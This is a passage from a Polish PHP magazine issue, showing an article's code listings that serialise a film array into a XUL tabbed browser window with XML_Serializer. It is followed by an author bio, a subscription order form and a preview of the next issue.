Listing 8. Tablica danych o filmach po przebudowaniu do pracy w trybie simplexml

$characters = array( array( 'attr' => array('name' => 'Leeloo'), 'actor' => 'Milla Jovovich',

'imdb' => 'nm0000170'),

array( 'attr' => array('name' => 'Korben Dallas'), 'actor' => 'Bruce Willis',

'imdb' => 'nm0000246'));

$movies=array('movie'=>array(array('attr'=>array('name' => 'Piąty Element'),

'writer' => "Luc Besson",

'year' => "1997",

'imdb' => "tt0119116",

'character' => $characters));

$options = array ( 'rootName' => 'movies',

'attributesArray' => "attr",

'mode' => 'simplexml');

Listing 9. Kod generujący dokument z definicją interfejsu XUL

$browser_data = array('height' => "400", 'width' => "550");foreach ($movies['movie'] as $m){ $tabs["tab"][]=array('label'=>$m['attr']['name']."({$m['year']})"); $url = "http://us.imdb.com/title/". $m['imdb'];

$movie_site = array("src" => $url,"id" => $m['imdb']); $tab['label'] = $m['attr']['name'];

$tab['browser'] = array_merge($browser_data, $movie_site);

$tab_panels['tabpanel'][] = $tab;

}

$data = array("tabbox" => array("tabs" => $tabs, "tabpanels" => $tab_panels));$options = array ('addDecl' => TRUE, 'rootName' => 'window',

"defaultTagName" => 'tab',

"scalarAsAttributes" => true,

"mode" => 'simplexml',

'indent' => ' ',

'rootAttributes' => array("xmlns" => "http://...is.only.xul","title"=>"Moje ulubione filmy"));

$serializer = &new XML_Serializer($options);

$status = $serializer->serialize($data);

$xml = $serializer->getSerializedData();

header('Content-type: application/vnd.mozilla.xul+xml');echo $xml;

Listing 10. Kod XUL wygenerowany przez przykładowy skrypt

<?xml version="1.0"?>

<window title="Moje ulubione filmy" xmlns="http://www.mozilla.org/keymaster/

gatekeeper/there.is.only.xul">

<tabbox>

<tabs>

<tab label="Piąty Element (1997)" />

<tab label="High Fidelity (2000)" />

</tabs>

<tabpanels>

<tabpanel label="Piąty Element">

<browser height="400" id="tt0119116" src="..." width="550" />

</tabpanel>

<tabpanel label="High Fidelity">

<browser height="400" id="tt0146882" src="..." width="550" />

</tabpanel>

</tabpanels>

</tabbox>

</window>

Aaron Wormus programuje w PHP od 1999 r. Zajmował się tworzeniem roz-wiązań intranetowych w Perlu i technolo-giach pokrewnych. Aaron koncentruje się na dostarczaniu przedsiębiorstwom wy-sokiej jakości rozwiązań intranetowychi wykorzystuje potęgę PHP w pracy kon-sultanta.

Kontakt z autorem: [email protected]

O autorze

Page 81: PHP Solutions 03 2006 PL

Prosimy wypełnić czytelnie i przesłać faksem na numer: (22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., Piaskowa 3, 01-067 Warszawa, e-mail: [email protected]. Przyjmujemy też zamówienia telefoniczne: (22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1 Cena prenumeraty rocznej dla osób prywatnych 2 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+3 Cena prenumertaty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na stronę naszego sklepu internetowego:

www.shop.software.com.pl

automatyczne przedłużenie prenumeraty

Suma

Tytuł Ilość numerów

Ilość zamawianych prenumerat

Od numeru pisma lub miesiąca

Opłata w zł

z VATSoftware Developer’s Journal (1 płyta CD)– dawniej Software 2.0Miesięcznik profesjonalnych programistów

12 250/1801

SDJ Extra (od 1 do 4 płyt CD lub DVD)– dawniej Software 2.0 Extra!Numery tematyczne dla programistów

6 150/1352

Linux+ (2 płyty CD)Miesięcznik o systemie Linux 12 250/1801

Linux+DVD (2 płyty DVD)Miesięcznik o systemie Linux 12 270/1981

Linux+Extra! (od 1 do 7 płyt CD lub DVD)Numery specjalne z najpopularniejszymi dystrybucjami Linuksa 8 232/1982

PHP Solutions (1 płyta CD)Dwumiesięcznik o zastosowaniach języka PHP 6 135

Hakin9, jak się obronić (1 płyta CD)Dwumiesięcznik o bezpieczeństwie i hakingu 6 135

.psd (1 płyta CD + film instruktażowy)Dwumiesięcznik użytkowników programu Adobe Photoshop 6 140

Aurox Linux (4 płyty CD + 1 płyta DVD)Magazyn z najpopularniejszym polskim Linuksem 4 1193

Page 82: PHP Solutions 03 2006 PL

Ponadto planujemy:

■ MSSQL i PHP

■ IRC BOT w PHP

■ Wzorzec Active Record i jego zaawansowane zastosowania

a także ciąg dalszy artykułów poświęconych bezpieczeństwu aplikacji oraz wykorzystaniu wzorców projektowych

TECHNIKI

NARZĘDZIA

PROJEKTY Video streaming – Stefan Richter, Frederic

Bochman z flashcomguru.com pokażą techniki, które pozwoliły na zbudowanie GoogleVideo, oraz kompletne rozwiązanie pozwalają-ce na uruchomienie Video Streamingu na wła-snym serwerze.

Porównanie Galerii zdjęć w PHP – wśród dostępnych rozwiązań można przebierać, ale ile z nich naprawdę zasługuje na naszą uwagę? Które należy brać pod uwagę w przypadku spe-cjalnych wymagań? Na te pytanie postaramy się odpowiedzieć w tym porównaniu, stworzo-nym przy współpracy z developerami poszcze-gólnych projektów.

EyeOS – Web Based Desktop System – Po raz drugi staniemy przed pytaniem: Internet na biurku czy biurko w Internecie? Artykuł rozwi-nie wątki poruszone w tym numerze skupiając się na technicznych aspektach działania systemu oraz jego aplikacji.

PHP, XML i Java – Guillaume Ponçon krok po kroku przedstawi łączenie w PHP dwóchbardzo ważnych technologii: XML oraz Java. Artykuł pod tytułem PHP, XML i Java w praktyce wyczerpująco przedstawi te zagadnienia.

W następnym numerze

W sprzedaży od 20 czerwca!

PHP Solutions 4/2006 (15)

Page 83: PHP Solutions 03 2006 PL
Page 84: PHP Solutions 03 2006 PL